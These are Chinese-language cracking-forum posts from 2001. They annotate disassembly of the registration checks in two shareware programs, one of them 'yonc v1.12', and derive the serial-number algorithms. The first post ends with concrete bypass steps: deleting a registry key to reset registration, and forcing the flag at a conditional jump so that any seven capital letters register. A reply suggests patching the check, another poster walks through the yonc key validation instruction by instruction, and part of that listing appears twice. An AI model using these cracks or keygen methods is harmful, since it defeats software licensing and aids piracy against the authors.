:0041F802 lea eax, dword ptr [esi+8*eax]]//将EAX乘以8，再加上ESI即注册码第二位，和放到EAX
:0041F805 lea eax, dword ptr [eax+2*eax]//将EAX乘以3的积放到EAX
:0041F808 lea eax, dword ptr [edx+8*eax-0494DE99]]//将EAX乘以8，再加上ESI即注册码四第位，再减去0494DE99h，最后的结果放到EAX
:0041F80F cmp eax, ecx //比较EAX和ECX的值
:0041F811 jne 0041F8CA //不相等就game over了

好了，现在将它的算法总结如下：
设 EBP=ECFAD166(不同的机器EBP因该不同) B=0494DE99
注册码：M 我暂且将M从高位到低位，每一位上的数字设为M1，M2，M3，M4，M5，M6，M7
他们满足下面这个等式：（其中的shr()代表逻辑右移一次，以下所有等式中的数，如没有特别说明，都为16进制）
[(EBP+55555555)*2+(shr(EBP)+55555555)]*5678de15
= (((((M5*18+M7)*18+M3)*18+M6)*18+M1)*18+M2)*18+M4-B

上面这个等式不好看，将它作下变换，得到下面的等式：

[(EBP+55555555)*2+(shr(EBP)+55555555)]*5678de15+B
= (M5*18^6+M7*18^5+M3*18^4+M6*18^3+M1*18^2+M2*18+M4)

这下就好看多了，B是个固定的常数，想办法得到EBP，我们就可以计算出等式左边的值，当然这个值是一个16进制的数，那么怎么把这个16进制的数与等式的右边对应起来呢，仔细看看
M5*18^6+M7*18^5+M3*18^4+M6*18^3+M1*18^2+M2*18+M4
这个表达式，是不是与这个表达式(等式中的数为10进制)
1*10^6+2*10^5+3*10^4+4*10^3+5*10^2+6*10+7
很相似呢，后面这个表达式写成常规形式就是 123467 这个数，同理，前面那个表达式写成常规形式就是 M5 M7 M3 M6 M1 M2 M4 ,当然这是个24进制的7位数，到这里，我们已经看到曙光了，将等式左边的值转换为24进制的数，将我们计算得到的这个7位24进制的数的每一位，分别与M5 M7 M3 M6 M1 M2 M4 对应上，我门就得到了注册码 M 每一位上的数，接下来就好说了，将每一位的顺序调整一下，就得到了我们想要的注册码 M .不过还没有完，我们还需要将M的每一位，对照软件作者给定的24进制转换表，转换成我门可以输入的字符，到此才算结束了，这时才得到了真正的注册码。那么作者给定的24进制转换表在那里呢，我没有找到，但我猜测这张表就是26个大写英文字母，因为如果你的注册码里面含有26个大写英文字母以外的字符时，程序根本不会到达核心对比的地方，就已经game over了。
下面是我还没有理解的地方：
1。那个EBP在我的机器上始终是ECFAD166 ，不知道在其它的机器上是不是这个值，我想呢，因该是不同的，可能它是根据机器的某个地方的数值计算出来的，无奈我水平有限，找了半天也没有搞清楚这个EBP的值是怎么来到。还请高手指教！！
2。不知道是我的算法分析错误还是我的计算错误，我算了好几遍也没有算对，始终没有得到正确的注册码，无奈之下，上网下载了一个注册机，得到我的注册码是LTIFVPT，可我怎么也算不来这个值。请高手救救我啊！！
3。这是我第一次看懂软件的算法，可惜我不会编程，不知哪位高手能告诉我怎么写它的注册机，让我这个菜鸟也过过做注册机的瘾，哈哈，不要笑我啊！！

好了，不说了，写的够罗嗦的了，浪费了大家这么多时间，有空就帮帮我吧！！

最后还说一点废话：
1.将注册表中的这个键[HKEY_CURRENT_USER\Software\Xara\X3D4\Install]
下的key键删除就又可以注册了；
2.如果你只是想注册的话，则只要填注册码时，随便填入7个大写的字母，然后在
0041F811 jne 0041F8CA 处下 r fl z ，不让程序跳走，就注册成功了，且以后也不要再注册了，跟真正的注册版一模一样！

Cracker:Turkey/灭害灵
2001.12.17@17:40

标 题:那大段判断unlock code的代码都是障眼法，要写注册机应该跟踪它启动时判断Key的过程 (172字)
发信人:blowfish
时 间:2001-12-17 18:16:48
详细信息:

或者强行修改，让它认为unlock code是正确的，然后跟踪它生成key的过程。

只要unlock code正确，它就会生成key并写入注册表，每次启动时只建查Key。

所以说unlock code是障眼法。


yonc v1.12

 标 题:yonc v1.12---------------------（一）可能贴不下 (29千字)
发信人:lancelot[CCG]
时 间:2001-9-18 23:44:38
详细信息:
下载：http://newhua.ruyi.com/down/yonc112.exe
这个程序的保护很有意思，作者放了不少陷阱在里面，用W32Dasm你可以搜索到下面这个字符串
* Possible StringData Ref from Data Obj ->"DQJXN-ASNYZ-GQI-FNB"
如果你用它来注册的话，程序会告诉你这个注册码已经无效。
不同错误的注册码，会有不同的错误提示，比如：这个注册码是旧版本的注册码，是以后版本的注册码，是无效注册码，
是过期注册码，等等。
注册码比较过程中所查的表，也很有意思，我把它列在下面了，有兴趣可以看看
好了，言归正传：
======================================================================================================
* Reference To: USER32.SendMessageA, Ord:0214h
|
:004287D7 FF1560C24500 Call dword ptr [0045C260]
:004287DD 8D8C2498000000 lea ecx, dword ptr [esp+00000098]
:004287E4 E8272A0100 call 0043B210<--------------------读取注册码
:004287E9 85C0 test eax, eax
:004287EB 0F8455010000 je 00428946
:004287F1 8B542434 mov edx, dword ptr [esp+34]<------假注册码
:004287F5 8D4C2414 lea ecx, dword ptr [esp+14]
:004287F9 52 push edx
:004287FA E801EAFFFF call 00427200<--------------------(1)核心，跟入
:004287FF 8D4C2414 lea ecx, dword ptr [esp+14]
:00428803 C684245405000005 mov byte ptr [esp+00000554], 05
:0042880B E8A0EAFFFF call 004272B0<--------------------al<-[ecx+08]
:00428810 25FF000000 and eax, 000000FF
:00428815 8D4C2414 lea ecx, dword ptr [esp+14]
:00428819 8BD8 mov ebx, eax
:0042881B E880EAFFFF call 004272A0<--------------------eax<-[ecx+0c]
:00428820 85DB test ebx, ebx
:00428822 8BE8 mov ebp, eax
:00428824 7431 je 00428857
:00428826 8D4C2414 lea ecx, dword ptr [esp+14]
:0042882A E841EAFFFF call 00427270<-------------------(2)判断,跟入
:0042882F 8B4E68 mov ecx, dword ptr [esi+68]
:00428832 25FF000000 and eax, 000000FF
:00428837 3BC8 cmp ecx, eax
:00428839 7E07 jle 00428842
:0042883B BD04000000 mov ebp, 00000004
:00428840 EB19 jmp 0042885B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00428839(C)
|
:00428842 8D4C2414 lea ecx, dword ptr [esp+14]
:00428846 E805EAFFFF call 00427250<------------------(3)判断,跟入
:0042884B 384614 cmp byte ptr [esi+14], al
:0042884E 7407 je 00428857
:00428850 BD05000000 mov ebp, 00000005
:00428855 EB04 jmp 0042885B

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00428824(C), :0042884E(C)
|
:00428857 85ED test ebp, ebp
:00428859 743A je 00428895<----------------------跳吧，不要怕,
不跳就没机会了
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00428840(U), :00428855(U)
|
:0042885B 8D842484000000 lea eax, dword ptr [esp+00000084]
:00428862 55 push ebp
:00428863 50 push eax
:00428864 E857010000 call 004289C0
:00428869 8B00 mov eax, dword ptr [eax]
:0042886B 8B7618 mov esi, dword ptr [esi+18]
:0042886E 50 push eax
:0042886F 56 push esi
:00428870 57 push edi
:00428871 C684246805000009 mov byte ptr [esp+00000568], 09
:00428879 E8A2710100 call 0043FA20<---------------------出错信息,到这里就玩完了
===================================================================================
* Referenced by a CALL at Addresses:<--------------------------- call (1)
|:004287FA , :00428FA7
|
:00427200 8B542404 mov edx, dword ptr [esp+04]<-------假注册码
:00427204 56 push esi
:00427205 8BF1 mov esi, ecx
:00427207 33C0 xor eax, eax
:00427209 52 push edx
:0042720A 884608 mov byte ptr [esi+08], al
:0042720D 89460C mov dword ptr [esi+0C], eax
:00427210 8901 mov dword ptr [ecx], eax
:00427212 894104 mov dword ptr [ecx+04], eax
:00427215 E806070000 call 00427920<----------------(1.1)
:0042721A 8BC6 mov eax, esi
:0042721C 5E pop esi
:0042721D C20400 ret 0004
==================================================================================
* Referenced by a CALL at Addresses:<--------------------------- call (1.1)
|:00427215 , :00427849
|
:00427920 6AFF push FFFFFFFF
:00427922 68E8884500 push 004588E8
:00427927 64A100000000 mov eax, dword ptr fs:[00000000]
:0042792D 50 push eax
:0042792E 64892500000000 mov dword ptr fs:[00000000], esp
:00427935 83EC2C sub esp, 0000002C
:00427938 53 push ebx
:00427939 55 push ebp
:0042793A 56 push esi
:0042793B 33DB xor ebx, ebx
:0042793D 57 push edi
:0042793E 8BF1 mov esi, ecx
:00427940 53 push ebx
:00427941 6AFF push FFFFFFFF
:00427943 8D4C241C lea ecx, dword ptr [esp+1C]
:00427947 895C241C mov dword ptr [esp+1C], ebx
:0042794B 895C2420 mov dword ptr [esp+20], ebx
:0042794F 895C2424 mov dword ptr [esp+24], ebx
:00427953 C744242860000000 mov [esp+28], 00000060
:0042795B 895C242C mov dword ptr [esp+2C], ebx
:0042795F E85C690000 call 0042E2C0
:00427964 8B6C244C mov ebp, dword ptr [esp+4C]<-------假注册码
:00427968 895C2444 mov dword ptr [esp+44], ebx
:0042796C 3BEB cmp ebp, ebx
:0042796E 7417 je 00427987
:00427970 8BFD mov edi, ebp<---------------------开始计算注册码长度
:00427972 83C9FF or ecx, FFFFFFFF
:00427975 33C0 xor eax, eax
:00427977 55 push ebp
:00427978 F2 repnz
:00427979 AE scasb
:0042797A F7D1 not ecx
:0042797C 49 dec ecx
:0042797D 51 push ecx<------------------------- 并入栈
:0042797E 8D4C241C lea ecx, dword ptr [esp+1C]
:00427982 E839690000 call 0042E2C0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042796E(C)
|
:00427987 8D442414 lea eax, dword ptr [esp+14]<-------假注册码
:0042798B 8D4C2428 lea ecx, dword ptr [esp+28]
:0042798F BF01000000 mov edi, 00000001
:00427994 50 push eax
:00427995 51 push ecx
:00427996 897C244C mov dword ptr [esp+4C], edi
:0042799A E8C1FBFFFF call 00427560<---------------------(1.1.1)查表，跟入
:0042799F 83C408 add esp, 00000008
:004279A2 8D4C2414 lea ecx, dword ptr [esp+14]<-------假注册码
:004279A6 C644244403 mov [esp+44], 03
:004279AB E8E0680000 call 0042E290
:004279B0 395C2428 cmp dword ptr [esp+28], ebx
:004279B4 7445 je 004279FB
:004279B6 837C242C08 cmp dword ptr [esp+2C], 00000008
:004279BB 753E jne 004279FB
:004279BD 6820ED4600 push 0046ED20
:004279C2 6A5A push 0000005A

* Possible StringData Ref from Data Obj ->"w:\zaphod\strings.hpp"
|
:004279C4 6878624600 push 00466278

* Possible StringData Ref from Data Obj ->"i>=0 && i<this->Len"
|
:004279C9 6898824600 push 00468298
:004279CE 57 push edi
:004279CF E83C660000 call 0042E010
:004279D4 8B44243C mov eax, dword ptr [esp+3C]
:004279D8 83C414 add esp, 00000014
:004279DB 8D4C2412 lea ecx, dword ptr [esp+12]
:004279DF 8B10 mov edx, dword ptr [eax]
:004279E1 51 push ecx
:004279E2 8916 mov dword ptr [esi], edx
:004279E4 8B4004 mov eax, dword ptr [eax+04]
:004279E7 8D542415 lea edx, dword ptr [esp+15]
:004279EB 8BCE mov ecx, esi
:004279ED 52 push edx
:004279EE 894604 mov dword ptr [esi+04], eax
:004279F1 E8CAF8FFFF call 004272C0<---------------------(1.1.2)比较，跟入
:004279F6 89460C mov dword ptr [esi+0C], eax<-------0
:004279F9 EB07 jmp 00427A02

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004279B4(C), :004279BB(C)
|
:004279FB C7460C07000000 mov [esi+0C], 00000007

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004279F9(U)
|
:00427A02 395E0C cmp dword ptr [esi+0C], ebx
:00427A05 7570 jne 00427A77
:00427A07 8B06 mov eax, dword ptr [esi]<----------0x67452310
:00427A09 8A4C2411 mov cl, byte ptr [esp+11]<---------0x4a
:00427A0D C1E818 shr eax, 18<-----------------------0x67
:00427A10 3AC8 cmp cl, al<------------------------0x67和0x4a比较
:00427A12 7517 jne 00427A2B
:00427A14 8B4E04 mov ecx, dword ptr [esi+04]<-------0xefcdab89
:00427A17 C1E90C shr ecx, 0C<-----------------------0xefcda
:00427A1A 81E1FF0F0000 and ecx, 00000FFF<-----------------0xcda
:00427A20 66394C2412 cmp word ptr [esp+12], cx<---------0xcda和0x999比较
:00427A25 7504 jne 00427A2B
:00427A27 8BC7 mov eax, edi
:00427A29 EB02 jmp 00427A2D

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00427A12(C), :00427A25(C)
|
:00427A2B 33C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00427A29(U)
|
:00427A2D 3AC3 cmp al, bl
:00427A2F 884608 mov byte ptr [esi+08], al
:00427A32 7503 jne 00427A37
:00427A34 897E0C mov dword ptr [esi+0C], edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00427A32(C)
|
:00427A37 395E0C cmp dword ptr [esi+0C], ebx
:00427A3A 753B jne 00427A77
:00427A3C 55 push ebp
:00427A3D E83E050000 call 00427F80
:00427A42 83C404 add esp, 00000004
:00427A45 85C0 test eax, eax
:00427A47 740A je 00427A53
:00427A49 885E08 mov byte ptr [esi+08], bl
:00427A4C C7460C08000000 mov [esi+0C], 00000008

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00427A47(C)
|
:00427A53 395E0C cmp dword ptr [esi+0C], ebx
:00427A56 751F jne 00427A77
:00427A58 8BCE mov ecx, esi
:00427A5A E831F8FFFF call 00427290
:00427A5F 50 push eax
:00427A60 55 push ebp
:00427A61 E86A050000 call 00427FD0
:00427A66 83C408 add esp, 00000008
:00427A69 85C0 test eax, eax
:00427A6B 740A je 00427A77
:00427A6D 885E08 mov byte ptr [esi+08], bl
:00427A70 C7460C07000000 mov [esi+0C], 00000007

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00427A05(C), :00427A3A(C), :00427A56(C), :00427A6B(C)
|
:00427A77 8D4C2428 lea ecx, dword ptr [esp+28]
:00427A7B C7442444FFFFFFFF mov [esp+44], FFFFFFFF
:00427A83 E808680000 call 0042E290
:00427A88 8B4C243C mov ecx, dword ptr [esp+3C]
:00427A8C 5F pop edi
:00427A8D 5E pop esi
:00427A8E 5D pop ebp
:00427A8F 5B pop ebx
:00427A90 64890D00000000 mov dword ptr fs:[00000000], ecx
:00427A97 83C438 add esp, 00000038
:00427A9A C20400 ret 0004
============================================================================================
* Referenced by a CALL at Address:<--------------------------------call (1.1.1)
|:0042799A
|
:00427560 6AFF push FFFFFFFF
:00427562 683F884500 push 0045883F
:00427567 64A100000000 mov eax, dword ptr fs:[00000000]
:0042756D 50 push eax
:0042756E 64892500000000 mov dword ptr fs:[00000000], esp
:00427575 83EC24 sub esp, 00000024
:00427578 53 push ebx
:00427579 55 push ebp
:0042757A B820ED4600 mov eax, 0046ED20
:0042757F 33ED xor ebp, ebp
:00427581 56 push esi
:00427582 57 push edi
:00427583 85C0 test eax, eax
:00427585 896C241C mov dword ptr [esp+1C], ebp
:00427589 C644241300 mov [esp+13], 00
:0042758E 896C2414 mov dword ptr [esp+14], ebp
:00427592 896C2420 mov dword ptr [esp+20], ebp
:00427596 896C2424 mov dword ptr [esp+24], ebp
:0042759A 896C2428 mov dword ptr [esp+28], ebp
:0042759E C744242C60000000 mov [esp+2C], 00000060
:004275A6 896C2430 mov dword ptr [esp+30], ebp
:004275AA 740B je 004275B7
:004275AC 50 push eax
:004275AD 55 push ebp
:004275AE 8D4C2428 lea ecx, dword ptr [esp+28]
:004275B2 E8096D0000 call 0042E2C0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004275AA(C)
|
:004275B7 C744243C01000000 mov [esp+3C], 00000001
:004275BF 33FF xor edi, edi
:004275C1 896C2418 mov dword ptr [esp+18], ebp

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0042767B(U), :004276AC(U)
|
:004275C5 8B4C2448 mov ecx, dword ptr [esp+48]<-------假注册码
:004275C9 8B01 mov eax, dword ptr [ecx]
:004275CB 3BC5 cmp eax, ebp
:004275CD 7405 je 004275D4
:004275CF 8B4904 mov ecx, dword ptr [ecx+04]<-------假注册码长度
:004275D2 EB02 jmp 004275D6

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004275CD(C)
|
:004275D4 33C9 xor ecx, ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004275D2(U)
|
:004275D6 3BF9 cmp edi, ecx
:004275D8 0F8DD3000000 jnl 004276B1
:004275DE 33C9 xor ecx, ecx
:004275E0 8A0C38 mov cl, byte ptr [eax+edi]<-------取一个字
:004275E3 51 push ecx
:004275E4 E8B30F0200 call 0044859C<--------------------判断大小写
:004275E9 8AD8 mov bl, al
:004275EB 83C404 add esp, 00000004
:004275EE 80FB20 cmp bl, 20<-----------------------判断是否空格
:004275F1 0F84B4000000 je 004276AB
:004275F7 80FB2D cmp bl, 2D<-----------------------'-'
:004275FA 0F84AB000000 je 004276AB
:00427600 80FB0D cmp bl, 0D
:00427603 0F84A2000000 je 004276AB
:00427609 80FB0A cmp bl, 0A
:0042760C 0F8499000000 je 004276AB<----------------------是的话,计数器加1,不比较
:00427612 8B442414 mov eax, dword ptr [esp+14]
:00427616 B905000000 mov ecx, 00000005

标 题:yonc v1.12---------------------（二） (18千字)
发信人:lancelot[CCG]
时 间:2001-9-18 23:46:47
阅读次数:66
详细信息:

:00427A61 E86A050000 call 00427FD0
:00427A66 83C408 add esp, 00000008
:00427A69 85C0 test eax, eax
:00427A6B 740A je 00427A77
:00427A6D 885E08 mov byte ptr [esi+08], bl
:00427A70 C7460C07000000 mov [esi+0C], 00000007

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00427A05(C), :00427A3A(C), :00427A56(C), :00427A6B(C)
|
:00427A77 8D4C2428 lea ecx, dword ptr [esp+28]
:00427A7B C7442444FFFFFFFF mov [esp+44], FFFFFFFF
:00427A83 E808680000 call 0042E290
:00427A88 8B4C243C mov ecx, dword ptr [esp+3C]
:00427A8C 5F pop edi
:00427A8D 5E pop esi
:00427A8E 5D pop ebp
:00427A8F 5B pop ebx
:00427A90 64890D00000000 mov dword ptr fs:[00000000], ecx
:00427A97 83C438 add esp, 00000038
:00427A9A C20400 ret 0004
============================================================================================
* Referenced by a CALL at Address:<--------------------------------call (1.1.1)
|:0042799A
|
:00427560 6AFF push FFFFFFFF
:00427562 683F884500 push 0045883F
:00427567 64A100000000 mov eax, dword ptr fs:[00000000]
:0042756D 50 push eax
:0042756E 64892500000000 mov dword ptr fs:[00000000], esp
:00427575 83EC24 sub esp, 00000024
:00427578 53 push ebx
:00427579 55 push ebp
:0042757A B820ED4600 mov eax, 0046ED20
:0042757F 33ED xor ebp, ebp
:00427581 56 push esi
:00427582 57 push edi
:00427583 85C0 test eax, eax
:00427585 896C241C mov dword ptr [esp+1C], ebp
:00427589 C644241300 mov [esp+13], 00
:0042758E 896C2414 mov dword ptr [esp+14], ebp
:00427592 896C2420 mov dword ptr [esp+20], ebp
:00427596 896C2424 mov dword ptr [esp+24], ebp
:0042759A 896C2428 mov dword ptr [esp+28], ebp
:0042759E C744242C60000000 mov [esp+2C], 00000060
:004275A6 896C2430 mov dword ptr [esp+30], ebp
:004275AA 740B je 004275B7
:004275AC 50 push eax
:004275AD 55 push ebp
:004275AE 8D4C2428 lea ecx, dword ptr [esp+28]
:004275B2 E8096D0000 call 0042E2C0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004275AA(C)
|
:004275B7 C744243C01000000 mov [esp+3C], 00000001
:004275BF 33FF xor edi, edi
:004275C1 896C2418 mov dword ptr [esp+18], ebp

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0042767B(U), :004276AC(U)
|
:004275C5 8B4C2448 mov ecx, dword ptr [esp+48]<-------假注册码
:004275C9 8B01 mov eax, dword ptr [ecx]
:004275CB 3BC5 cmp eax, ebp
:004275CD 7405 je 004275D4
:004275CF 8B4904 mov ecx, dword ptr [ecx+04]<-------假注册码长度
:004275D2 EB02 jmp 004275D6

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004275CD(C)
|
:004275D4 33C9 xor ecx, ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004275D2(U)
|
:004275D6 3BF9 cmp edi, ecx
:004275D8 0F8DD3000000 jnl 004276B1
:004275DE 33C9 xor ecx, ecx
:004275E0 8A0C38 mov cl, byte ptr [eax+edi]<-------取一个字
:004275E3 51 push ecx
:004275E4 E8B30F0200 call 0044859C<--------------------判断大小写
:004275E9 8AD8 mov bl, al
:004275EB 83C404 add esp, 00000004
:004275EE 80FB20 cmp bl, 20<-----------------------判断是否空格
:004275F1 0F84B4000000 je 004276AB
:004275F7 80FB2D cmp bl, 2D<-----------------------'-'
:004275FA 0F84AB000000 je 004276AB
:00427600 80FB0D cmp bl, 0D
:00427603 0F84A2000000 je 004276AB
:00427609 80FB0A cmp bl, 0A
:0042760C 0F8499000000 je 004276AB<----------------------是的话,计数器加1,不比较
:00427612 8B442414 mov eax, dword ptr [esp+14]
:00427616 B905000000 mov ecx, 00000005
:0042761B 99 cdq
:0042761C F7F9 idiv ecx
:0042761E 8B442414 mov eax, dword ptr [esp+14]
:00427622 40 inc eax
:00427623 89442414 mov dword ptr [esp+14], eax
:00427627 33C0 xor eax, eax
:00427629 8B3495F4814600 mov esi, dword ptr [4*edx+004681F4]<----查表
:00427630 8A0E mov cl, byte ptr [esi]
:00427632 84C9 test cl, cl
:00427634 740D je 00427643

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00427641(C)
|
:00427636 3ACB cmp cl, bl<-----------------------------比较
:00427638 7409 je 00427643
:0042763A 8A4C3001 mov cl, byte ptr [eax+esi+01]<----------不等的话，取表中
:0042763E 40 inc eax 下一个字
:0042763F 84C9 test cl, cl
:00427641 75F3 jne 00427636

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00427634(C), :00427638(C)
|
:00427643 803C3000 cmp byte ptr [eax+esi], 00<------------查完表,还没有相等的
:00427647 7502 jne 0042764B 你就完了
:00427649 33C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00427647(C)
|
:0042764B 8B4C2418 mov ecx, dword ptr [esp+18]
:0042764F 8BD1 mov edx, ecx
:00427651 81E201000080 and edx, 80000001<--------------------判断是奇位数，还是偶位数
:00427657 7905 jns 0042765E
:00427659 4A dec edx
:0042765A 83CAFE or edx, FFFFFFFE
:0042765D 42 inc edx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00427657(C)
|
:0042765E 41 inc ecx
:0042765F 85D2 test edx, edx
:00427661 894C2418 mov dword ptr [esp+18], ecx
:00427665 7519 jne 00427680
:00427667 250F000080 and eax, 8000000F
:0042766C 7905 jns 00427673
:0042766E 48 dec eax
:0042766F 83C8F0 or eax, FFFFFFF0
:00427672 40 inc eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042766C(C)
|
:00427673 C0E004 shl al, 04
:00427676 88442413 mov byte ptr [esp+13], al
:0042767A 47 inc edi
:0042767B E945FFFFFF jmp 004275C5<-----------------------回去,取下一个字

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00427665(C)
|
:00427680 250F000080 and eax, 8000000F
:00427685 7905 jns 0042768C
:00427687 48 dec eax
:00427688 83C8F0 or eax, FFFFFFF0
:0042768B 40 inc eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00427685(C)
|
:0042768C 8A5C2413 mov bl, byte ptr [esp+13]
:00427690 6A01 push 00000001
:00427692 0AD8 or bl, al
:00427694 8D442417 lea eax, dword ptr [esp+17]
:00427698 50 push eax
:00427699 8D4C2428 lea ecx, dword ptr [esp+28]
:0042769D 885C241B mov byte ptr [esp+1B], bl
:004276A1 E87A710000 call 0042E820<---------------------注册码在表中的序号
:004276A6 C644241300 mov [esp+13], 00

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004275F1(C), :004275FA(C), :00427603(C), :0042760C(C)
|
:004276AB 47 inc edi<----------------------------计数器加1
:004276AC E914FFFFFF jmp 004275C5<-----------------------回去,取下一个字

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004275D8(C)
|
:004276B1 8B742444 mov esi, dword ptr [esp+44]
:004276B5 8B442420 mov eax, dword ptr [esp+20]
:004276B9 8B4C242C mov ecx, dword ptr [esp+2C]
:004276BD 8B542430 mov edx, dword ptr [esp+30]
:004276C1 3BC5 cmp eax, ebp
:004276C3 892E mov dword ptr [esi], ebp
:004276C5 896E04 mov dword ptr [esi+04], ebp
:004276C8 896E08 mov dword ptr [esi+08], ebp
:004276CB 894E0C mov dword ptr [esi+0C], ecx
:004276CE 895610 mov dword ptr [esi+10], edx
:004276D1 740D je 004276E0
:004276D3 50 push eax
:004276D4 8B442428 mov eax, dword ptr [esp+28]
:004276D8 50 push eax
:004276D9 8BCE mov ecx, esi
:004276DB E8E06B0000 call 0042E2C0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004276D1(C)
|
:004276E0 C744241C01000000 mov [esp+1C], 00000001
:004276E8 8D4C2420 lea ecx, dword ptr [esp+20]
:004276EC C644243C00 mov [esp+3C], 00
:004276F1 E89A6B0000 call 0042E290
:004276F6 8B4C2434 mov ecx, dword ptr [esp+34]
:004276FA 8BC6 mov eax, esi
:004276FC 5F pop edi
:004276FD 5E pop esi
:004276FE 5D pop ebp
:004276FF 5B pop ebx
:00427700 64890D00000000 mov dword ptr fs:[00000000], ecx
:00427707 83C430 add esp, 00000030
:0042770A C3 ret
========================================================================================

* Referenced by a CALL at Address:<------------------------------call (1.1.2)
|:004279F1
|
:004272C0 83EC1C sub esp, 0000001C
:004272C3 53 push ebx
:004272C4 55 push ebp
:004272C5 56 push esi<---------------------转换后的注册码(序号)
:004272C6 57 push edi
:004272C7 8B39 mov edi, dword ptr [ecx]<-----0x67452310
:004272C9 33C0 xor eax, eax
:004272CB 8BD7 mov edx, edi<-----------------0x67452310
:004272CD 89442410 mov dword ptr [esp+10], eax<------0
:004272D1 83E20F and edx, 0000000F<------------取第2位
:004272D4 C74424140D000000 mov [esp+14], 0000000D<----|
:004272DC 83FA01 cmp edx, 00000001 |
:004272DF C744241803000000 mov [esp+18], 00000003<----|注意这几个数字
:004272E7 C744241C01000000 mov [esp+1C], 00000001<----|
:004272EF C744242009000000 mov [esp+20], 00000009<----|
:004272F7 C744242405000000 mov [esp+24], 00000005<----|
:004272FF 89442428 mov dword ptr [esp+28], eax
:00427303 736F jnb 00427374<---------------------第2位要为0
:00427305 8B7104 mov esi, dword ptr [ecx+04]<------0xefcdab89
:00427308 8D1452 lea edx, dword ptr [edx+2*edx]
:0042730B 8BEE mov ebp, esi
:0042730D 83E50F and ebp, 0000000F<----------------取第10位'9'
:00427310 8D5CD414 lea ebx, dword ptr [esp+8*edx+14]
:00427314 7519 jne 0042732F
:00427316 F7C6000E0000 test esi, 00000E00
:0042731C 7511 jne 0042732F
:0042731E F7C7F0FFFF00 test edi, 00FFFFF0
:00427324 7509 jne 0042732F
:00427326 33D2 xor edx, edx
:00427328 B907000000 mov ecx, 00000007
:0042732D EB4C jmp 0042737B

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00427314(C), :0042731C(C), :00427324(C)
|
:0042732F 8B4B10 mov ecx, dword ptr [ebx+10]<------0x00000005 用上了
:00427332 8BD6 mov edx, esi<---------------------0xefcdab89
:00427334 C1EA04 shr edx, 04<----------------------0xefcdab89>>4==0x0efcdab8
:00427337 8BC6 mov eax, esi<---------------------0xefcdab89
:00427339 83E21F and edx, 0000001F<----------------0x0efcdab8&0x1f==0x18
:0042733C C1E818 shr eax, 18<----------------------0xefcdab89>>18==0xef
:0042733F D3E2 shl edx, cl<----------------------0x18<<0x5==0x300
:00427341 8B4B0C mov ecx, dword ptr [ebx+0C]<------0x00000009 用上了
:00427344 83E00F and eax, 0000000F<----------------取第16位'f'
:00427347 C1EE09 shr esi, 09<----------------------0xefcdab89>>9==0x77e6d5
:0042734A D3E0 shl eax, cl<----------------------第16位 0xf<<9==0x1e00
:0042734C 8B4B04 mov ecx, dword ptr [ebx+04]<------0x00000003 用上了
:0042734F 83E607 and esi, 00000007<----------------0x77e6d5&0x7==0x5
:00427352 C1EF04 shr edi, 04<----------------------0x67452310>>4==0x06745231
:00427355 D3E6 shl esi, cl<----------------------0x5<<0x3==0x28
:00427357 8B4B08 mov ecx, dword ptr [ebx+08]<------0x00000001 用上了
:0042735A 81E7FFFF0F00 and edi, 000FFFFF<----------------0x06745231&0xfffff==0x45231
:00427360 D3E7 shl edi, cl<----------------------0x45231<<0x1==0x8a462
:00427362 8B0B mov ecx, dword ptr [ebx]<---------0x0000000d 用上了
:00427364 33D0 xor edx, eax<---------------------0x300^0x1e00==0x1d00
:00427366 D3E5 shl ebp, cl<----------------------第10位 0x9<<0xd==0x12000
:00427368 8B4C2410 mov ecx, dword ptr [esp+10]<------0
:0042736C 33D6 xor edx, esi<---------------------0x1d00^0x28==0x1d28
:0042736E 33D7 xor edx, edi<---------------------0x1d28^0x8a462==0x8b94a
:00427370 33D5 xor edx, ebp<---------------------0x8b94a^0x12000==0x9994a
:00427372 EB07 jmp 0042737B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00427303(C)
|
:00427374 B903000000 mov ecx, 00000003
:00427379 33D2 xor edx, edx

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0042732D(U), :00427372(U)
|
:0042737B 8B442430 mov eax, dword ptr [esp+30]
:0042737F 5F pop edi
:00427380 5E pop esi
:00427381 5D pop ebp
:00427382 8810 mov byte ptr [eax], dl<-----------0x4a
:00427384 8B442428 mov eax, dword ptr [esp+28]
:00427388 C1EA08 shr edx, 08<----------------------0x9994a>>0x8==0x999
:0042738B 81E2FF0F0000 and edx, 00000FFF
:00427391 5B pop ebx
:00427392 668910 mov word ptr [eax], dx<-----------0x999
:00427395 8BC1 mov eax, ecx
:00427397 83C41C add esp, 0000001C
:0042739A C20800 ret 0008
===============================================================================================
* Referenced by a CALL at Addresses:<-------------------------------CALL (2)
